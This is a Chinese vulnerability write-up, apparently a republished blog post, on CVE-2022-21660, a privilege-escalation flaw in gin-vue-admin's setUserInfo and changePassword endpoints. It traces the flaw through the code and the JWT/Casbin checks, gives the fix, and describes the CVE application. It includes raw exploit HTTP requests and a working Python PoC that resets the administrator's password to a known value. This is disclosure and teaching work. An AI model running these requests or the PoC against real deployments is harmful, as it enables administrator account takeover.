Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

渗透技巧 2年前 (2022) admin
1,219 0 0


前 言


欢迎各位大佬们给该项目点一个star

  https://github.com/flipped-aurora/gin-vue-admin/
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

文章写完了之后,申请CVE有一些麻烦,不过好在还是申请到了,github的员工响应迅速。

ps:申请CVE前,已经提交了CNVD。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

环境搭建


按照官方教程

git clone https://github.com/flipped-aurora/gin-vue-admin.git


随后进入server目录

go generate
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
  go build -o server main.go 


随后直接运行server即可

Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后是WEB,进入到web目录,输入

  yarn install


随后等待即可

Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后安装完成会自动打开WEB网页


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后初始化设置数据库信息


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


配置好之后点击初始化后登录即可


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


漏洞复现


SetUserInfo存在垂直越权。


1、SetUserInfo接口越权设置用户个人信息


们直接来到用户管理页面,新增一个低权限的用户角色。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


可以看到上方并没有给到管理员的权限,接下来新建一个账号,分给这个角色组


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

漏洞发生的位置在

https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go的第273行


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
// @Tags SysUser// @Summary 设置用户信息// @Security ApiKeyAuth// @accept application/json// @Produce application/json// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"// @Router /user/setUserInfo [put]func (b *BaseApi) SetUserInfo(c *gin.Context) {  var user system.SysUser  _ = c.ShouldBindJSON(&user)  if err := utils.Verify(user, utils.IdVerify); err != nil {    response.FailWithMessage(err.Error(), c)    return  }  if err, ReqUser := userService.SetUserInfo(user); err != nil {    global.GVA_LOG.Error("设置失败!", zap.Error(err))    response.FailWithMessage("设置失败", c)  } else {    response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)  }}


这里没有对传入的ID进行校验,ID代表用户的,直接传入指定的ID就可以修改对应用户的个人信息。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

首先我们用管理员的X-token测试修改ID为1的用户的名称修改为test1,随后我们可以在后台中看到管理员的ID已经被修改为test1了。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

那么接下来,我们使用刚刚新建的UzJu_HxSecTeam账号的Token替换进去,将管理员用户名修改为test2。

首先我们UzJu_HxSecTeam的账号个人信息>修改密码 这里随便修改密码,然后获取到账号Token。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这个Token是低权限那个角色的,正常低权限的用户是不可以修改管理员的任何信息的。


x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs


我们将Token替换进去,构造如下Json数据


{  "id":1,  "username":"test2",  "nickName":"test2",  "headerImg":""}


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

我们将Token替换到setUserinfo接口


PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDsx-user-id: 1Content-Length: 67Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"test2","nickName":"test2","headerImg":""}


随后提示我们,设置成功


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这是我们切换到管理员账号,查看是否被修改为test2。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

可以看到管理员用户成功被修改。


2、SetUserInfo接口垂直越权无条件修改管理员密码


在Debug的时候发现,在越权设置个人信息的接口setUserInfo中不单单只能设置id, username, nickname,headimg,其实还可以传入password等参数。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


比如我们构造一个请求,将ID为1的用户名称设置为admin,昵称设置为超级用户管理员。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 91Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"admin","nickName":"超级用户管理员","Password":"qwe@123"}


此时管理员的密码已经被修改为了qwe@123,尝试登陆。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后成功登录


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

3、越权修改用户密码


PS: 这里有一个前提,需知道我想修改的那个人用户的密码才可以。

首先我们知道默认的admin密码为123456,这个时候我们只需要构造Json数据,将Json数据中的username参数,修改为我们想越权修改的那个用户名即可。

首先我们登录低权限的账号,修改一次密码。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

我们会抓到一个changePassword的请求,随后将这个请求放入Repeater。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后我们只需要将username这个参数修改为admin即可。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后会提示我们修改成功,然后我们使用新的密码来登录admin。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


随后成功登录


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

漏洞出现的位置在

https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go,139行

// @Tags SysUser// @Summary 用户修改密码// @Security ApiKeyAuth// @Produce  application/json// @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码"// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"// @Router /user/changePassword [post]func (b *BaseApi) ChangePassword(c *gin.Context) {  var user systemReq.ChangePasswordStruct  _ = c.ShouldBindJSON(&user)  if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil {    response.FailWithMessage(err.Error(), c)    return  }  u := &system.SysUser{Username: user.Username, Password: user.Password}  if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil {    global.GVA_LOG.Error("修改失败!", zap.Error(err))    response.FailWithMessage("修改失败,原密码与当前账户不符", c)  } else {    response.OkWithMessage("修改成功", c)  }}


漏洞原理分析


ps: 以下所有内容出自一个完全没学过Go的,也没做过开发的,只会Python的脚本小子的理解。

首先从正常的业务逻辑来看这里为什么会造成越权,其实原理比较简单,主要是因为,我们在新建角色权限的时候,有几个必选的参数,也就是这几个参数,选了之后,用户才有机会越权(但是也不能不选,因为这是默认的必选参数),其实最终还是在代码上存在逻辑问题。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

首先我们看,在新建完角色之后,查看角色的权限


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

可以看到,默认新建的用户权限,在角色菜单中,只有一个可以访问仪表盘的权限,但是我们查看角色的API权限就会发现。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里有几个必选的权限

  • 用户注册

  • 设置用户信息

  • 获取自身信息

  • 修改密码

  • 修改用户角色

这也是这一次漏洞的来源,首先是设置用户信息,如果我们取消勾选。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

然后我们将低权限角色组的账号Token放进Burp进行尝试。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
PUT /api/user/setUserInfo HTTP/1.1Host: localhost:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/jsonx-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9Ux-user-id: 1Content-Length: 83Origin: http://localhost:8080Connection: closeReferer: http://localhost:8080/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin
{"id":1,"username":"admin","nickName":"超级用户管理员","headerImg":""}


可以很清楚的看到,目前我们已经没有权限来设置这些用户信息了,而且在Go的Debug页面我们也很容易发现,代码逻辑,比如我们现在是没有权限进行设置用户信息的。


但是在代码中理论来说,我访问了这个接口,我Debug的断点应该是可以拦截的,但是如下图,我下断点之后,程序居然没有停止。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

从这里就能判断,在此操作之前,应该是有一个鉴权操作(常见的应该是rbac吧)那么我们现在给低权限角色组设置用户的权限,我们再进行重放看看。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

我们可以看到,程序成功停止在了这里,那么我想(go小白)应该可以通过Debug的方式,来找到这里的鉴权:)

首先Mac下command键鼠标左键来找哪里调用了这个函数。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

然后可以看到这里有一个初始化用户路由的一个函数InitUserRouter


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

那么继续老办法,Command+鼠标左键来判断哪里调用了InitUserRoute


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里注意,有一个JWTAuth()还有一个middleware.CasbinHandler()

首先我们先来看middleware.JWTAuth(),还是老方法Command+鼠标左键。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

然后来到一个jwt.go,这里的逻辑我们可以看一下(当然也感谢作者写了一些注释)


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

go中token:=应该是相当于定义一个变量来接收请求中的header中的x-token,首先就是判断token是不是为空,如果为空的话直接返回用户未登录或非法访问。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后就是判断用户的token是否在黑名单里面,这里应该是通过缓存或者用户退出的时候来判断,这个token是不是已经失效了吧,如果失效了就会返回告诉用户异地登录或令牌失效了。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里首先传给ParseToken这个函数来解析Token,可以跟过去看一下。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

不懂jwt.ParseWithClaims是啥。。。传统艺能,google.com。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

https://www.cnblogs.com/taoshihan/p/15239208.html

这里是用来JWT加解密的,然后返回一个SigningKey,然后继续往下走。

感谢作者的指点:此处将传入的jwt token串进行解析,获得jwt.Token结构体,然后从结构体解析出Claims获取之前我们生成token时挂载在上面的用户信息。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

通过Google知道了ValidationErrorMalformed用来判断是否是错误的token,然后再通过ValidationErrorExpired来判断是否已过期,然后再通过ValidationErrorNotValidYet判断token是否激活,然后就是返回了。虽然下面还有一段代码:


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后判断token是否过期,如果没有过期,则走到了reload,随后我们来到middleware.CasbinHandler()


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

首先进入到utils.GetClaims并且传入一个参数。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里函数用来获取x-token随后解析该token来判断是否过期等。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后判断用户的角色,这里的1234,也就是我们web设置的角色组ID。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后进入casbinService.Casbin(),传统艺能,直接百度。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

跟之前猜想的差不多,rbac权限控制,这里是连接数据库,然后这里F7单步步入看了一下,劝退了,看不懂。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

看注释可以判断,这里用来判断权限

机翻: Enforce decides whether a “subject” can access a “object” with the operation “action”, input parameters are usually: (sub, obj, act).

强制决定“subject”是否可以通过操作“action”访问“object”,输入参数通常是:(sub, obj, act)。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后判断是否在开发环境,然后success等于false,这里|| 或者的意思,要么成功,要么提示权限不足。

我们来看看有权限后,越权的setuserinfo接口是怎么走的,首先我们在拦截器这个地方下一个断点。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

Tips: 通过百度发现这里用的是golang的casbin访问控制框架

https://blog.csdn.net/qq_42015552/article/details/104013264

然后在setuserinfo这里也下一个断点


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

因为拦截器在程序逻辑中在setuserinfo前面,所以我们从拦截器开始调。

burp发送请求之后,一直等待,此时我们单步调试看看。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

此时我们的角色组为1234


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后是连接数据库,再之后就是检查权限


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里返回了一个true,说明权限存在,随后就是判断是否为开发环境或者success等于true了,这里肯定会经过第一个if,

随后就来到了setuserinfo接口


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

shouldBindJson 绑定了Json参数


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后这里,应该是用来判断传入的Json参数是否正确


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

下面直接直接将userid代入了进去


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

这里的ID是我们前端传入的,可以任意修改,所以就导致了越权


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后代入到数据库之后,更新后返回


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

随后则是更新成功

主要的鉴权操作都在cashbin.rbac.go这个文件中的CasbinHandler函数,中的casbinService.Casbin()和e.Enforce(sub, obj, act)

我对这里的越权理解是,如果给了设置用户信息的权限,那么默认这个用户在权限规则中就可以修改用户信息,然后在修改的时候,替换成别人的ID即可修改为别人的。

到这里可以明白了,首先鉴权判断的是AuthorityId,来判断用户是否有权限操作某个接口。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

但是在setuserinfo使用的ID却是用户的账号ID


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

所以就导致了越权,因为这个ID可以前端传入的时候可以控制,并且也已经鉴权之后了,在与作者沟通之后,解释说修复也比较简单,只需要将user.id强制赋值为JWT所对应的权限ID即可,这样就不会造成越权了,因为前端怎么传入,最终在代码中还是有一行会将user.id的值修改为当前JWT所对应的id。

但是在业务流程逻辑中,这些权限又是必须给的,因为不给的话,当前用户是没有办法修改自己的信息的。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

POC编写


#!/usr/bin/env python# -*- coding: UTF-8 -*-'''@Project :UzJuSecurityTools @File    :Gin-Vue-Admin-Poc.py@Author  :UzJu@Date    :2021/12/31 11:20 @Email   :UzJuer@163.com'''
import requestsimport jsonimport sys

class GinVueAdminPoc:    def __init__(self, url, token):        self.url = url        self.jwt_token = token        '''        define vuln interface        '''        # Method PUT Severity High        self.setUserInfo = "/api/user/setUserInfo"        # Method POST Severity Moderate        self.changePassword = "/api/user/changePassword"
   def checkVuln(self):        '''        因为默认管理员的用户ID为1,所以,这里直接修改ID为1的用户账号为admin,密码为qwe@123        在实际使用中,可以通过遍历ID,来判断哪个ID用户存在,不过默认用户在实战中应该都是存在的        The default user ID of the administrator is 1. Therefore, change the account of user 1 to admin and the password to qwe@123        In practice, you can check which ID exists by iterating through the ID, but the default user should exist in practice        '''        payload_data = {                            "id": 1,                            "username": "admin",                            "nickName": "超级管理员",                            "Password": "qwe@123"                        }        # Change the administrator password to qwe@123, because the default administrator ID is 1        headers = {            "x-token": self.jwt_token        }        result = requests.put(url=self.url + self.setUserInfo,                              headers=headers,                              data=json.dumps(payload_data)                              )        if json.loads(result.content)['code'] == 7:            print("[-]Modify the failure")        elif json.loads(result.content)['code'] == 0:            print(f"[+]Modify the success, Account: {payload_data['username']}, password: {payload_data['Password']}")
   def check_interface_ChangePassword(self):        '''        wait        '''        pass

if __name__ == '__main__':    try:        Banner_2 = '''             /$$   /$$              /$$$$$                  | $$  | $$             |__  $$                  | $$  | $$ /$$$$$$$$      | $$ /$$   /$$        | $$  | $$|____ /$$/      | $$| $$  | $$        | $$  | $$   /$$$$/  /$$  | $$| $$  | $$        | $$  | $$  /$$__/  | $$  | $$| $$  | $$        |  $$$$$$/ /$$$$$$$$|  $$$$$$/|  $$$$$$/         ______/ |________/ ______/  ______/                               Autor: UzJu   Email: UzJuer@163.com  GitHub: github.com/uzju          '''        print(Banner_2)        url = sys.argv[1]        jwt_token = sys.argv[2]        main = GinVueAdminPoc(url, jwt_token)        main.checkVuln()    except:        print("[-]please input url and token")


为什么check_interface_ChangePassword这个方法没写是因为,这里算是一个暴力破解的一个接口,因为在修改任意用户的密码之前,必须知道需要修改的那个账号的密码,这就像是暴力破解。


所以这里并没有写,然后就是checkvuln这个方法,payload_data这个json数据中的id,其实可以任意更改的,也可以写成for循环进行遍历,因为在实际环境中并不确定管理员的ID是否为1,或者说存在恶意破坏的话,也可以造成一定的影响。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

CVE申请


CNVD的就不用说了吧,肯定也已经提交了,这里申请CVE的。

GitHub代申请编号来的特别快,基本上最多3天,这里是当天提交的次日凌晨就收到了CVE的预分配编号。

以下操作需要联系作者帮你操作,不然没有New Draft security advisory这个按钮。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

Description写上漏洞的内容,复现过程,POC就行,然后点击create draft security advisory。

由于当时我们是第一次申请这个,犯了一个错误,只列出了一个草稿,并没有请求,导致我们白白等了7天。


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

写完了一定要拉到下面,去点击request cve id


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

参考文章:

Medicean——记录一下代白帽子申请CVE的过程


致 谢


作者团队主页:

https://github.com/flipped-aurora/


作者的GitHub:

https://github.com/piexlmax

Gin-vue-admin


项目地址:

https://github.com/flipped-aurora/gin-vue-admin



【火线—白帽技术交流群】

进群可以与技术大佬互相交流

进群有机会免费领取节假日礼品

进群可以免费观看技术分享直播

识别二维码回复【交流群】进群

⬇️

Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


【火线zone社区周激励】

2021.12.27 ~ 2022.1.3公告

Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

【相关精选文章】

Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660
Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660


火线Zone是[火线安全平台]运营的封闭式实战安全攻防社区,研究讨论实战攻防技术,平台向顶尖的白帽子提供安全测试的云端基础设施,目前火线的高级白帽子数量已经近万人,欢迎具备分享和探索精神的白帽子加入火线Zone社区,共建一个有技术氛围的优质社区!
如需转载火线Zone公众号内的文章请联系火线小助手:hxanquan(微信)


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

 微信号 

huoxian_zone


Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

点击阅读原文,加入社区,共建一个有技术氛围的优质社区!

原文始发于微信公众号(火线Zone):Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660

版权声明:admin 发表于 2022年1月9日 下午11:00。
转载请注明:Gin-Vue-admin垂直越权漏洞挖掘与代码分析-CVE-2022-21660 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...